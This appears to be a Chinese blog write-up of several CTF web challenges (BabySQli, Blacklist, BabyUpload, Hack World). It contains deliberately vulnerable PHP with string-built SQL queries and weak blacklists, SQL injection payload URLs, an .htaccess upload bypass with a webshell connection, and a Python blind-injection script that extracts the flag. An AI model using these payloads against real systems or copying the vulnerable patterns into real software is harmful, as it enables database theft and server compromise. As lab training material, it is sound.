<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";

// 去除转义
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);
return $value;
}

$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}

mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);


if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}

?>

参考:

[GXYCTF2019]BabySQli 解题思路&过程

[GXYCTF2019]BabySQli

[GYCTF2020]Blacklist

尝试注入后发现有报错,禁用了一些关键词

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

进行注入

#爆出数据库名supersqli
/?inject=1'and extractvalue(1,concat(0x7e,database()))%23
#爆表名FlagHere,words
/?inject=-1';show tables;%23
#爆列(发现有名称flag)
/?inject=-1';show columns from FlagHere;%23
#获取flag
/?inject=-1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;%23

参考:[GYCTF2020]Blacklist

[GXYCTF2019]BabyUpload

采用.htaccess绕过即可,参考本人博客upload-labspass-04即可上传成功。上传后用蚁剑连接,在根目录下即可找到flag。

注意:连接时找准两个文件所在同一目录

[CISCN2019 华北赛区 Day2 Web1]Hack World

盲注,exp如下

import requests
import time
import re
import os

url='http://6b9ef1c1-f0eb-4837-968c-06daba8e0f0c.node4.buuoj.cn:81/index.php'
payload = {
"id" : ""
}
res = ""
for i in range(1,100):
l = 33
r = 130
mid = (l+r)>>1
while(l<r):
# print(l,r,mid)
payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
time.sleep(0.05) #不设置延时会无法得到正确flag
response = requests.post(url,data=payload)
# print(payload)
if "Hello" in response.text:
l = mid+1
else:
r = mid
mid = (l+r)>>1
res += chr(mid)
print(res)
if(res[-1]=="}"):
break

**if(1=1,1,2)**:类似三目运算符1==1?1:2

0^1:异或

题目源码

<?php
$dbuser='root';
$dbpass='root';

function safe($sql){
#被过滤的内容 函数基本没过滤
$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
foreach($blackList as $blackitem){
if(stripos($sql,$blackitem)){
return False;
}
}
return True;
}
if(isset($_POST['id'])){
$id = $_POST['id'];
}else{
die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
die(mysql_error());
}
mysql_select_db("ctf",$db);

if(safe($id)){
$query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");

if($query){
$result = mysql_fetch_array($query);

if($result){
echo $result['content'];
}else{
echo "Error Occured When Fetch Result.";
}
}else{
var_dump($query);
}
}else{
die("SQL Injection Checked.");
}